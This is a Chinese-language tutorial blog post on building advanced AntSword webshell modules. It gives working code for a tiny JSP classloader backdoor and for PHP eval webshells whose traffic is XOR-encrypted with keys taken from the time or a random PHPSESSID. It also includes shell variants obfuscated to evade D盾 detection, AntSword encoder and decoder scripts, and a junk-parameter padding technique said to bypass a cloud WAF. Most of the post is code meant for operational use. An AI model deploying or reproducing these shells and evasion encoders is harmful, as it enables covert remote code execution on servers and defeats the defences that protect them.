• 蚁剑高级模块开发


    蚁剑进行二次开发的一些技巧与经验。

    一、蚁剑实现JSP一句话

    由于Java中没有所谓的eval函数,无法对直接传递的代码进行解析执行。所以不管是蚁剑还是菜刀对于JSP的shell一直是采用custom模式,即把要执行的代码提前写在shell中,然后每次只需要传递要调用的函数名以及对应的参数即可。

    虽然可以实现相应的功能,但是带来一个问题就是shell体积非常巨大。菜刀的jsp脚本有7kb大小,蚁剑的jsp custom脚本即使去掉注释后还有17k之多,用起来非常的不方便。

    jsp一句话的实现方式:利用classloader直接解析编译后的class字节码,相当于实现了一个java的eval功能。

    自己以前通过类反射+动态加载字节码的方式实现了一个命令执行后门,但是是在shell中获取的输入输出。参数个数也不可控,只能一股脑按最大数传进去,还会有类反射的特征。

    然而冰蝎是直接重写了Object类的equals方法,并且把pageContext传了进去。熟悉jsp的同学都知道,通过pageContext就可以控制几乎所有的页面对象,也就可以在payload中动态控制输入输出。

    冰蝎的方法既没有类反射之类的特征,又便于控制输入输出,实在是妙。

    但是冰蝎很久没更新了,并且暂时没有开源,有些小BUG修改起来非常麻烦。我就想能否把这个功能给移植到蚁剑上。

    冰蝎的操作是直接用asm框架来修改提前写好的字节码文件,把要传入的参数直接编译进去。由于冰蝎自身就是java写的,所以动态产生字节码具有天生的优势。但是蚁剑的后端是nodejs,这怎么办呢?

    思路的选择

    大概有以下三种思路:

    (1)用nodejs来修改java字节码。

    (2)写一个专门用来生成payload的jar包,每次执行前调用此jar包,把需要编译的参数通过命令行传入,然后获取回显。

    (3)在蚁剑中硬编码payload,然后通过getParameter把参数传进去。

    三种方式各有利弊,第一个想法最简单,但是难度大。超出了本人菜鸟教程上学来的java跟node水平。

    自己本来是想采用第二个思路,跟yan表哥交流后放弃。就不说用exec调用会不会产生命令注入这种东西,采用第二种方式需要修改蚁剑原有的模式框架,并且还需要配置java环境。而蚁剑从设计之初就是想着能尽量减少对环境的需求。尽管从2.0系列推出加载器后不再需要node环境就可以运行蚁剑,但是目前还是有一堆人连安装蚁剑都有困难。

    所以在本文中实现的是第三种思路,硬编码payload+其他参数传参

    首先根据现成的custom脚本来编写payload,然后把custom的模板给复制一份,把传递的函数名替换成payload即可。

    采用这种模式的话就跟其他shell发送payload的模式相同,不需要对蚁剑原有的框架进行大改。只不过其他类型传递的是可见的代码,jsp传递的是编译后的字节码。

    具体实现

    编译环境的选择

    首先是编译环境的问题。要知道java是向下兼容的,也就是说jdk1.6编译出来的字节码在1.8上可以运行,但是1.8的字节码在1.6上就不一定跑得起来。所以在实现的时候采用了jdk1.6编译,依赖的jar包也采用了跟冰蝎相同的tomcat7的jar。

    编译命令

    javac -cp "D:/xxxx/lib/servlet-api.jar;D:/xxx/lib/jsp-api.jar" Test.java

    保存编译后的class字节码

    base64 -w 0 Test.class > Test.txt

    乱码问题的解决

    然后是让人头秃的乱码问题。

    众所周知windows采用的是GBK,不是UTF-8。本来想学习一下蚁剑custom脚本中是如何实现的,结果发现了一个存在了四年的编码逻辑错误。

    在php版的custom中对于编码是这样处理的:

    其中EC是识别charset的,也就是分辨UTF8还是GBK,然后用mb_convert_encoding函数转换到指定的编码中。

    decode函数是对字符串进行解码,比如说base64、hex这种。

    但是难道不应该先base64解码之后再判断charset吗,直接对base64的内容进行charset判断肯定是有问题的。

    调试了一下果然会乱码,然后报找不到路径的错误。

    解决方法就是把两个函数换换位置就好了。

    换了之后就可以正常进入中文路径了。因为在vscode中设置变量以UTF8显示,所以此时左边GBK编码的路径会显示乱码,但是函数中是可以正常识别的。

    把jsp的custom脚本中函数换了位置后,中文文件可以正常显示,但是进入中文路径的时候还是会报空指针错误。

    突然想起来自己以前提的一个issue jsp的bug,其实也是路径中出现了中文的问题,不过当时没有细究就略过了。

    经过调试后发现只要把hex跟base64解码后,强制使用UTF8编码就可以正常进入中文路径。

    原因为什么呢?

    因为base64对GBK类型的中文和跟UTF8类型的中文编码结果是不一样的,然而抓包发现蚁剑在custom模式下,不管用户选择的编码是什么都是对UTF8编码的中文进行base64处理。

    但是经过测试php类型会正常的根据用户的字符类型来base64编码。

    emmmm,玄学问题。

    最简单的解决方法就是直接在payload中base64解码的时候强制使用UTF-8解码。

    模板设计

    Shell模板

    1. <%@ page import="sun.misc.BASE64Decoder" %>
    2. <%!
    3. class U extends ClassLoader{
    4. U(ClassLoader c){
    5. super(c);
    6. }
    7. public Class g(byte []b){
    8. return super.defineClass(b,0,b.length);
    9. }
    10. }
    11. BASE64Decoder decoder=new sun.misc.BASE64Decoder();
    12. %>
    13. <%
    14. String cls=request.getParameter("ant");
    15. if(cls!=null){
    16. new U(this.getClass().getClassLoader()).g(decoder.decodeBuffer(cls)).newInstance().equals(pageContext);
    17. }
    18. %>

    压缩一下后只有316个字节,由于去掉了解密功能,所以比冰蝎还小。

    <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>

    Payload模板

    其中encoder为编码方式,默认为空,可选hex或者base64。charset为字符编码,默认UTF-8。蚁剑将会根据用户的选择自动发送。

    注意:特别不建议选用默认编码器,遇到中文路径会错误,我也不知道为什么。

    1. import javax.servlet.ServletRequest;
    2. import javax.servlet.ServletResponse;
    3. import javax.servlet.jsp.PageContext;
    4. import java.io.ByteArrayOutputStream;
    5. public class Demo {
    6. public String encoder;
    7. public String cs;
    8. @Override
    9. public boolean equals(Object obj) {
    10. PageContext page = (PageContext)obj;
    11. ServletRequest request = page.getRequest();
    12. ServletResponse response = page.getResponse();
    13. encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):"";
    14. cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
    15. StringBuffer output = new StringBuffer("");
    16. StringBuffer sb = new StringBuffer("");
    17. try {
    18. response.setContentType("text/html");
    19. request.setCharacterEncoding(cs);
    20. response.setCharacterEncoding(cs);
    21. String var0 = EC(decode(request.getParameter("var0")+""));
    22. String var1 = EC(decode(request.getParameter("var1")+""));
    23. String var2 = EC(decode(request.getParameter("var2")+""));
    24. String var3 = EC(decode(request.getParameter("var3")+""));
    25. output.append("->" + "|");
    26. sb.append(func(var1));
    27. output.append(sb.toString());
    28. output.append("|" + "<-");
    29. page.getOut().print(output.toString());
    30. } catch (Exception e) {
    31. sb.append("ERROR" + ":// " + e.toString());
    32. }
    33. return true;
    34. }
    35. String EC(String s) throws Exception {
    36. if(encoder.equals("hex")) return s;
    37. return new String(s.getBytes(), cs);
    38. }
    39. String decode(String str) throws Exception{
    40. if(encoder.equals("hex")){
    41. if(str=="null"||str.equals("null")){
    42. return "";
    43. }
    44. String hexString = "0123456789ABCDEF";
    45. str = str.toUpperCase();
    46. ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
    47. String ss = "";
    48. for (int i = 0; i < str.length(); i += 2){
    49. ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
    50. baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
    51. }
    52. return baos.toString("UTF-8");
    53. }else if(encoder.equals("base64")){
    54. byte[] bt = null;
    55. sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
    56. bt = decoder.decodeBuffer(str);
    57. return new String(bt,"UTF-8");
    58. }
    59. return str;
    60. }
    61. String func (String var1){
    62. // Your code
    63. }
    64. }

    举个栗子,写一个返回hello+名字的函数

    1. import javax.servlet.ServletRequest;
    2. import javax.servlet.ServletResponse;
    3. import javax.servlet.jsp.PageContext;
    4. import java.io.ByteArrayOutputStream;
    5. public class Test {
    6. public String encoder;
    7. public String cs;
    8. @Override
    9. public boolean equals(Object obj) {
    10. PageContext page = (PageContext)obj;
    11. ServletRequest request = page.getRequest();
    12. ServletResponse response = page.getResponse();
    13. encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):"";
    14. cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
    15. StringBuffer output = new StringBuffer("");
    16. StringBuffer sb = new StringBuffer("");
    17. try {
    18. response.setContentType("text/html");
    19. request.setCharacterEncoding(cs);
    20. response.setCharacterEncoding(cs);
    21. String var0 = EC(decode(request.getParameter("var0")+""));
    22. output.append("->" + "|");
    23. sb.append(test(var0));
    24. output.append(sb.toString());
    25. output.append("|" + "<-");
    26. page.getOut().print(output.toString());
    27. } catch (Exception e) {
    28. sb.append("ERROR" + ":// " + e.toString());
    29. }
    30. return true;
    31. }
    32. String EC(String s) throws Exception {
    33. if(encoder.equals("hex")) return s;
    34. return new String(s.getBytes(), cs);
    35. }
    36. String decode(String str) throws Exception{
    37. if(encoder.equals("hex")){
    38. if(str=="null"||str.equals("null")){
    39. return "";
    40. }
    41. String hexString = "0123456789ABCDEF";
    42. str = str.toUpperCase();
    43. ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
    44. String ss = "";
    45. for (int i = 0; i < str.length(); i += 2){
    46. ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
    47. baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
    48. }
    49. return baos.toString("UTF-8");
    50. }else if(encoder.equals("base64")){
    51. byte[] bt = null;
    52. sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
    53. bt = decoder.decodeBuffer(str);
    54. return new String(bt,"UTF-8");
    55. }
    56. return str;
    57. }
    58. String test(String var0){
    59. return "Hello" + var0;
    60. }
    61. }

    将其编译成class文件,base64后输出到Test.txt中。

    再发送payload,其中var0是我们要传入的参数。可以看到屏幕上打印出了Hello yzddmr6。

    默认是明文传递,想要进行base64编码的话将encoder=base64加在请求中即可。

    如果是手工发送的话要注意:

    一定要URL编码!!!
    一定要URL编码!!!
    一定要URL编码!!!

    当初忘了给Payload URL编码,一直各种花式报错,卡在这里一天。。。最后在rebeyond大佬提醒下才反应过来。。。我真是个弟弟

    蚁剑客户端修改

    \source\app.entry.js \source\core\index.js \source\modules\settings\encoders.js里增加jsp类型:

    \source\modules\shellmanager\list\form.js增加对jsp后缀shell类型的识别。

    在base64编码器模板里增加发送的接口,虽然没有实现decoder,但是还是留个接口吧。 

     

    然后就是用编译后的payload替换原来的函数名。 

    实现效果 

    有同学可能会问为什么不写回显信息编码函数呢?

    因为在目前方式下特征太明显了,根本不需要根据回显信息就可以识别。写了后还会导致payload很长,并且还会增加一个decoder=xxx的特征,所以就没加。同时传递的encoder=xxx也没有编码,不管怎么编码都是WAF加一条规则的事情。

    目前只是处在能用的阶段,无法做到随机变量名等操作,存在很多的硬性特征。在找到有效的解决方法前,本功能可能并不会合并到蚁剑主体中。

    因为payload实在是太多了,源码详情请参考:JspForAntSword 

    修改后的蚁剑(2.1.x分支):

    GitHub - yzddmr6/antSword at v2.1.x

    二、蚁剑实现动态秘钥编码器解码器

    蚁剑PHP的RSA和AES编码器,发现都是需要开启openssl扩展才可以使用。

    但是这个模块大多数情况下是不开的,所以就导致蚁剑的强加密类型的编码器、解码器无法使用。

    于是借鉴了一下冰蝎的思路,实现了一个动态秘钥的编码器解码器。

    冰蝎的解决方案

    我记得冰蝎在1.0版本有同样的问题,模块不开shell就用不了,但是2.0就解决了这个问题。

    那么冰蝎是怎么解决的呢。

    看一下他的shell.php是怎么写的:

    1. @error_reporting(0);
    2. session_start();
    3. if (isset($_GET['pass']))
    4. {
    5. $key=substr(md5(uniqid(rand())),16);
    6. $_SESSION['k']=$key;
    7. print $key;
    8. }
    9. else
    10. {
    11. $key=$_SESSION['k'];
    12. $post=file_get_contents("php://input");
    13. if(!extension_loaded('openssl'))
    14. {
    15. $t="base64_"."decode";
    16. $post=$t($post."");
    17. for($i=0;$i$post);$i++) {
    18. $post[$i] = $post[$i]^$key[$i+1&15];
    19. }
    20. }
    21. else
    22. {
    23. $post=openssl_decrypt($post, "AES128", $key);
    24. }
    25. $arr=explode('|',$post);
    26. $func=$arr[0];
    27. $params=$arr[1];
    28. class C{public function __construct($p) {eval($p."");}}
    29. @new C($params);
    30. }
    31. ?>

    注意看这一段:

    1. if(!extension_loaded('openssl'))
    2. {
    3. $t="base64_"."decode";
    4. $post=$t($post."");
    5. for($i=0;$i$post);$i++) {
    6. $post[$i] = $post[$i]^$key[$i+1&15];
    7. }
    8. }
    9. else xxxxxx

    如果没有openssl扩展,那么就把$post的内容跟随机秘钥$key异或一遍

    相当于自己写了个加密函数。

    那么当然蚁剑也可以利用此思路来解决此问题。

    如何生成随机秘钥

    冰蝎的做法是先请求两次shell(因为第二次请求的时候才会将秘钥保存到session中)

    如果请求中有pass=xxx就返回一个十六位的随机秘钥

    然后客户端跟服务端分别记下这个秘钥,用于后面流量的加密解密。

    但是也带来一个问题,握手获得秘钥的过程已经成为了很多WAF检测的特征。

    如何规避特征

    当然我们可以用PHPSESSID来作为秘钥,蚁剑的AES编码器也是这么做的。

    但是因为蚁剑的机制里面没有自动获取cookie这一个操作

    所以需要你人工浏览网站->获取cookie->填入配置文件才可以使用,但是太过麻烦。

    那么我们能否设置一个不需要握手,并且很容易就可以获得的随机秘钥呢

    于是想到可以我们可以用时间

    时间格式的选择

    时间也有很多种格式,选择哪一种呢?

    想到如果时间中带有秒的话,很容易发个包过去就错过同一时间了,无法完成加解密。

    所以我们可以采用年-月-日 时-分的时间格式,然后md5一次,来作为我们的随机秘钥。

    思路与实现

    蚁剑获取时间->生成随机秘钥->加密payload->发送给shell

    shell获取时间->生成随机秘钥->解密payload->将回显data编码->返回给蚁剑

    蚁剑获取时间->生成随机秘钥->解密返回data->获取信息

    要注意的是因为基于时间产生秘钥,所以要保证你的时区是跟shell的时区是一致的。

    因为我本地蚁剑是北京时间,所以在shell中也强制设置为北京时间。

    动态秘钥编码器

    不得不说一个坑,同样一句console.log(new Date().toLocaleString());

    在node中是24小时制:

    在浏览器跟蚁剑中是12小时制:

    被坑了好久没发现,干脆重新确定一个24小时制的规范时间格式,也方便后期自定义修改:

    1. Object.assign(Date.prototype, {
    2. switch (time) {
    3. let date = {
    4. "yy": this.getFullYear(),
    5. "MM": this.getMonth() + 1,
    6. "dd": this.getDate(),
    7. "hh": this.getHours(),
    8. "mm": this.getMinutes(),
    9. "ss": this.getSeconds()
    10. };
    11. if (/(y+)/i.test(time)) {
    12. time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
    13. }
    14. Object.keys(date).forEach(function (i) {
    15. if (new RegExp("(" + i + ")").test(time)) {
    16. if (RegExp.$1.length == 2) {
    17. date[i] < 10 ? date[i] = '0' + date[i] : date[i];
    18. }
    19. time = time.replace(RegExp.$1, date[i]);
    20. }
    21. })
    22. return time;
    23. }
    24. })
    25. let newDate = new Date();
    26. let time = newDate.switch('yyyy-MM-dd hh:mm');

    所以demo是这样的:

    1. 'use strict';
    2. // code by yzddmr6
    3. /*
    4. * @param {String} pwd 连接密码
    5. * @param {Array} data 编码器处理前的 payload 数组
    6. * @return {Array} data 编码器处理后的 payload 数组
    7. */
    8. module.exports = (pwd, data, ext={}) => {
    9. function xor(payload){
    10. let crypto = require('crypto');
    11. Object.assign(Date.prototype, {
    12. switch (time) {
    13. let date = {
    14. "yy": this.getFullYear(),
    15. "MM": this.getMonth() + 1,
    16. "dd": this.getDate(),
    17. "hh": this.getHours(),
    18. "mm": this.getMinutes(),
    19. "ss": this.getSeconds()
    20. };
    21. if (/(y+)/i.test(time)) {
    22. time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
    23. }
    24. Object.keys(date).forEach(function (i) {
    25. if (new RegExp("(" + i + ")").test(time)) {
    26. if (RegExp.$1.length == 2) {
    27. date[i] < 10 ? date[i] = '0' + date[i] : date[i];
    28. }
    29. time = time.replace(RegExp.$1, date[i]);
    30. }
    31. })
    32. return time;
    33. }
    34. })
    35. let newDate = new Date();
    36. let time = newDate.switch('yyyy-MM-dd hh:mm');
    37. let key = crypto.createHash('md5').update(time).digest('hex')
    38. key=key.split("").map(t => t.charCodeAt(0));
    39. //let payload="phpinfo();";
    40. let cipher = payload.split("").map(t => t.charCodeAt(0));
    41. for(let i=0;ilength;i++){
    42. cipher[i]=cipher[i]^key[i%32]
    43. }
    44. cipher=cipher.map(t=>String.fromCharCode(t)).join("")
    45. cipher=Buffer.from(cipher).toString('base64');
    46. //console.log(cipher)
    47. return cipher;
    48. }
    49. data['_'] = Buffer.from(data['_']).toString('base64');
    50. data[pwd] = `eval(base64_decode("${data['_']}"));`;
    51. data[pwd]=xor(data[pwd]);
    52. delete data['_'];
    53. return data;
    54. }

    动态秘钥解码器

    1. 'use strict';
    2. //code by yzddmr6
    3. module.exports = {
    4. /**
    5. * @returns {string} asenc 将返回数据base64编码
    6. * 自定义输出函数名称必须为 asenc
    7. * 该函数使用的语法需要和shell保持一致
    8. */
    9. asoutput: () => {
    10. return `function asenc($out){
    11. date_default_timezone_set("PRC");
    12. $key=md5(date("Y-m-d H:i",time()));
    13. for($i=0;$i
    14. $out[$i] = $out[$i] ^ $key[$i%32];
    15. }
    16. return @base64_encode($out);
    17. }
    18. `.replace(/\n\s+/g, '');
    19. },
    20. /**
    21. * 解码 Buffer
    22. * @param {string} data 要被解码的 Buffer
    23. * @returns {string} 解码后的 Buffer
    24. */
    25. decode_buff: (data, ext={}) => {
    26. function xor(payload){
    27. let crypto = require('crypto');
    28. Object.assign(Date.prototype, {
    29. switch (time) {
    30. let date = {
    31. "yy": this.getFullYear(),
    32. "MM": this.getMonth() + 1,
    33. "dd": this.getDate(),
    34. "hh": this.getHours(),
    35. "mm": this.getMinutes(),
    36. "ss": this.getSeconds()
    37. };
    38. if (/(y+)/i.test(time)) {
    39. time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
    40. }
    41. Object.keys(date).forEach(function (i) {
    42. if (new RegExp("(" + i + ")").test(time)) {
    43. if (RegExp.$1.length == 2) {
    44. date[i] < 10 ? date[i] = '0' + date[i] : date[i];
    45. }
    46. time = time.replace(RegExp.$1, date[i]);
    47. }
    48. })
    49. return time;
    50. }
    51. })
    52. let newDate = new Date();
    53. let time = newDate.switch('yyyy-MM-dd hh:mm');
    54. let key = crypto.createHash('md5').update(time).digest('hex')
    55. key = key.split("").map(t => t.charCodeAt(0));
    56. let data = payload;
    57. let cipher=Buffer.from(data.toString(), 'base64').toString();
    58. cipher = cipher.split("").map(t => t.charCodeAt(0));
    59. for (let i = 0; i < cipher.length; i++) {
    60. cipher[i] = cipher[i] ^ key[i % 32]
    61. }
    62. cipher=cipher.map(t=>String.fromCharCode(t)).join("")
    63. return cipher;
    64. }
    65. return xor(data);
    66. }
    67. }

    但是发现遇到中文会乱码,所以仅作为一个参考吧。

    服务端

    原型

    1. date_default_timezone_set("PRC");
    2. @$post=base64_decode($_REQUEST['yzddmr6']);
    3. $key=md5(date("Y-m-d H:i",time()));
    4. for($i=0;$i$post);$i++){
    5. $post[$i] = $post[$i] ^ $key[$i%32];
    6. }
    7. eval($post);
    8. ?>

    D盾4级,稍微处理一下让他免杀。

    1. date_default_timezone_set("PRC");
    2. $key=md5(date("Y-m-d H:i",time()));
    3. class TEST{
    4. function encode($key){
    5. @$post=base64_decode($_REQUEST['test']);
    6. for($i=0;$i$post);$i++){$post[$i] = $post[$i] ^ $key[$i%32];}
    7. return $post;}
    8. function ant($data)
    9. {return eval($this->encode("$data"));}
    10. }
    11. $test=new TEST;
    12. $test->ant($key);
    13. ?>

    测试

    在蚁剑中新建编码器 解码器,然后起一个你喜欢的名字,把上面的代码复制进去即可。

    配置一下就可以使用啦:

     

    你可以同时使用动态秘钥编码器跟动态秘钥解码器,也可以只使用编码器,或者动态编码器跟其他解码器结合。

    要注意的是,因为一些玄学问题,当你使用了demo中的动态解码器后遇见中文会乱码。

    个人建议 动态秘钥编码器+base64解码器 就差不多了。

    注意

    在demo中用的是年-月-日 时-分的时间格式,可能过不了多久也会被检测。

    如果以后被加入豪华午餐的话,自己可以自由修改日期的格式,例如日-年-月 时-分,或者 日期+盐 来达到混淆的效果

    在编码器中已经留好了日期格式修改的接口,换一换顺序即可。

    通过以上操作我们已经实现了无需握手传递秘钥的编码器解码器,到这里好像没什么问题了。

    但是发现蚁剑默认的payload会把data[]数组中其他的参数只是base64一遍:

    这样的流量还是容易被检测出,这也是蚁剑的硬伤。

    在这篇文章里WAF拦了蚁剑发送的其它参数时怎么操作蚁剑作者也给出了解决方案

    但是这样修改的话只是针对一个编码器,不能对所有的编码器有效

    最稳固的办法还是自己修改蚁剑硬编码的payload,来满足自己的需求。

    三、基于随机Cookie的蚁剑动态秘钥编码器

    之前为了规避握手交换秘钥的特征,采用了利用时间生成随机秘钥的办法。

    但是在实际使用的过程中还是会出现各种各样的BUG,导致利用失败,我个人不是特别满意。

    研究了一下蚁剑编码器的ext参数后,决定采用利用随机Cookie来产生随机秘钥的方式。

    编码器的ext参数

    首先新建一个编码器,名字叫test吧。

    加入一行console.log(ext.opts.httpConf);

    然后随便连接一个shell,打开开发者工具,可以看到已经打印出了我们所需要的信息。

    包括shell请求的body跟headers头:

    抓包看一下,headers头的结果跟抓包的结果是一致的。

     那么我们能否从编码器中修改headers头呢?

    我们在编码器中加入一行:

    ext.opts.httpConf.headers['User-Agent']='yzddMr6';

     

    可以看到我们已经成功修改了shell中UA的值。

    同理,我们也可以在编码器中对其他header头或者body进行修改。

    随机生成Cookie

    既然我们已经可以任意修改shell的请求信息,我们就可以把秘钥放在一个指定的headers字段里,shell获取后再对payload进行加解密。

    但是突然多出来一个奇奇怪怪的字段,长时间后就会变成waf识别的特征。

    那么有没有什么是变化的,并且很常见的headers头呢?

    我们就可以想到利用Cookie。

    参考蚁剑的aes编码器,它所采用的方法是人工首先访问shell生成一个sessionid,填入shell配置后作为后面通讯的秘钥。

    但是实际上因为我们已经可以控制cookie字段,我们完全可以在编码器中每次生成一个随机的cookie,这样就省去了人工操作的一步。

    有一个坑要注意,php的session id一般是26位的,所以我们最好也生成一个26位的秘钥,增强伪装性。(虽然可能并没有什么卵用)

    具体实现

    编码器

    1. 'use strict';
    2. //code by yzddmr6
    3. module.exports = (pwd, data, ext = {}) => {
    4. let randomID = `x${Math.random().toString(16).substr(2)}`;
    5. function xor(payload) {
    6. let crypto = require('crypto');
    7. let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
    8. ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
    9. key = key.split("").map(t => t.charCodeAt(0));
    10. //let payload="phpinfo();";
    11. let cipher = payload.split("").map(t => t.charCodeAt(0));
    12. for (let i = 0; i < cipher.length; i++) {
    13. cipher[i] = cipher[i] ^ key[i % 26]
    14. }
    15. cipher = cipher.map(t => String.fromCharCode(t)).join("")
    16. cipher = Buffer.from(cipher).toString('base64');
    17. //console.log(cipher)
    18. return cipher;
    19. }
    20. data['_'] = Buffer.from(data['_']).toString('base64');
    21. data[pwd] = `eval(base64_decode("${data['_']}"));`;
    22. data[pwd]=xor(data[pwd]);
    23. delete data['_'];
    24. return data;
    25. }

    Shell原型

    1. @$post=base64_decode($_REQUEST['test']);
    2. $key=@$_COOKIE['PHPSESSID'];
    3. for($i=0;$i$post);$i++){
    4. $post[$i] = $post[$i] ^ $key[$i%26];
    5. }
    6. @eval($post);
    7. ?>

    免杀处理

    1. class Cookie
    2. {
    3. function __construct()
    4. {
    5. $key=@$_COOKIE['PHPSESSID'];
    6. @$post=base64_decode($_REQUEST['test']);
    7. for($i=0;$i$post);$i++){
    8. $post[$i] = $post[$i] ^ $key[$i%26];
    9. }
    10. return $post;
    11. }
    12. function __destruct()
    13. {return @eval($this->__construct());}
    14. }
    15. $check=new Cookie();
    16. ?>

    连接测试

    蚁剑的其他参数只是一层base64,这个就需要大家自己手工去改了。

    四、增加垃圾数据

    大家都知道垃圾数据填充可以用于SQL注入的绕过,原理就是WAF在遇到大量的GET或者POST参数的时候就会直接把数据直接抛给后端,从而就可以绕过各种各样恶心的过滤,大家常常把这种方法叫做缓冲区溢出。

    原因可能是WAF厂商考虑到防止自身程序对于流量分析时间过长,导致用户正常的业务无法访问,所以不得已直接丢给后端。因为咱也没看过WAF内部的规则是怎么写的,所以暂时这样猜想。

    同样的,既然都是直接把数据抛给后端,那么这种办法是否可以用于一句话流量的绕过呢,答案当然是可以的,只不过要稍加修改。因为实际测试过程中发现,仅仅在payload前面加上超长字符串对于某里云来说并没有卵用,似乎已经免疫。但是换了个思路,发现改成增加大量垃圾键值对之后就可以bypass,那就暂且把这种方法叫做增加垃圾数据绕过法吧。

    编码器实现

    这篇文章本来是几个月前发在自己的星球里,名字叫做蚁剑编码器之流量混淆。当时想着怎么方便怎么来,所以采用的是最简单、改动最小的一种实现方式--编码器实现。

    这里全部采用了随机的方式来生成垃圾流量,随机变量名长度,随机变量值大小,随机变量个数。

    1. let varname_min = 5; //变量名最小长度
    2. let varname_max = 15; // 变量名最大长度
    3. let data_min = 200; // 变量值最小长度
    4. let data_max = 250; // 变量值最大长度
    5. let num_min = 150; // 变量最小个数
    6. let num_max = 250; // 变量最大个数
    7. function randomString(length) { // 生成随机字符串
    8. //let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    9. let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    10. let result = '';
    11. for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    12. return result;
    13. }
    14. function randomInt(min, max) { //生成指定范围内的随机数
    15. return parseInt(Math.random() * (max - min + 1) + min, 10);
    16. }
    17. for (let i = 0; i < randomInt(num_min, num_max); i++) { //将混淆流量放入到payload数组中
    18. data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
    19. }

    那么怎么用呢?

    很简单,就直接把这段代码放到普通编码器里就可以了,这里以最基础的也是被各类WAF杀得妈都不认的base64编码器为例

    1. 'use strict';
    2. /*
    3. code by yzddMr6
    4. */
    5. module.exports = (pwd, data, ext = {}) => {
    6. let varname_min = 5;
    7. let varname_max = 15;
    8. let data_min = 200;
    9. let data_max = 250;
    10. let num_min = 100;
    11. let num_max = 200;
    12. let randomID = `_0x${Math.random().toString(16).substr(2)}`;
    13. data[randomID] = Buffer.from(data['_']).toString('base64');
    14. function randomString(length) {
    15. //let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    16. let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    17. let result = '';
    18. for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    19. return result;
    20. }
    21. function randomInt(min, max) {
    22. return parseInt(Math.random() * (max - min + 1) + min, 10);
    23. }
    24. for (let i = 0; i < randomInt(num_min, num_max); i++) {
    25. data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
    26. }
    27. data[pwd] = `@eval(base64_decode($_POST[${randomID}]));`;
    28. delete data['_'];
    29. return data;
    30. }

    蚁剑核心功能实现

    理论上这种方法不管是asp php aspx jsp都可以用到,如果按照编码器实现的话就要建立四个编码器,觉得还是加入到核心功能中比较好。

    这几天看了一下蚁剑的架构,感叹于设计者思路的精妙。

    首先我们可以看看他modules目录下的request模块的内容,可以看到两个if else 语句:

    1. /**
    2. * 监听HTTP请求
    3. * @param {Object} event ipcMain事件对象
    4. * @param {Object} opts 请求配置
    5. * @return {[type]} [description]
    6. */
    7. onRequest(event, opts) {
    8. logger.debug('onRequest::opts', opts);
    9. if (opts['url'].match(CONF.urlblacklist)) {
    10. return event
    11. .sender
    12. .send('request-error-' + opts['hash'], "Blacklist URL");
    13. }
    14. let _request = superagent.post(opts['url']);
    15. // 设置headers
    16. _request.set('User-Agent', USER_AGENT);
    17. // 自定义headers
    18. for (let _ in opts.headers) {
    19. _request.set(_, opts.headers[_]);
    20. }
    21. // 自定义body
    22. const _postData = Object.assign({}, opts.body, opts.data);
    23. if (opts['useChunk'] == 1) {
    24. logger.debug("request with Chunked");
    25. let _postarr = [];
    26. for (var key in _postData) {
    27. if (_postData.hasOwnProperty(key)) {
    28. let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
    29. return unescape($1);
    30. }); // 后续可能需要二次处理的在这里追加
    31. _postarr.push(`${key}=${_tmp}`);
    32. }
    33. }
    34. let antstream = new AntRead(_postarr.join("&"), {
    35. 'step': parseInt(opts['chunkStepMin']),
    36. 'stepmax': parseInt(opts['chunkStepMax'])
    37. });
    38. xxxxxxx
    39. } else {
    40. // 通过替换函数方式来实现发包方式切换, 后续可改成别的
    41. const old_send = _request.send;
    42. let _postarr = [];
    43. if (opts['useMultipart'] == 1) {
    44. _request.send = _request.field;
    45. for (var key in _postData) {
    46. if (_postData.hasOwnProperty(key)) {
    47. let _tmp = (_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
    48. return unescape($1)
    49. });
    50. _postarr[key] = _tmp;
    51. }
    52. }
    53. } else {
    54. _request.send = old_send;
    55. for (var key in _postData) {
    56. if (_postData.hasOwnProperty(key)) {
    57. let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
    58. return unescape($1)
    59. }); // 后续可能需要二次处理的在这里追加
    60. _postarr.push(`${key}=${_tmp}`);
    61. }
    62. }
    63. _postarr = _postarr.join('&');
    64. }

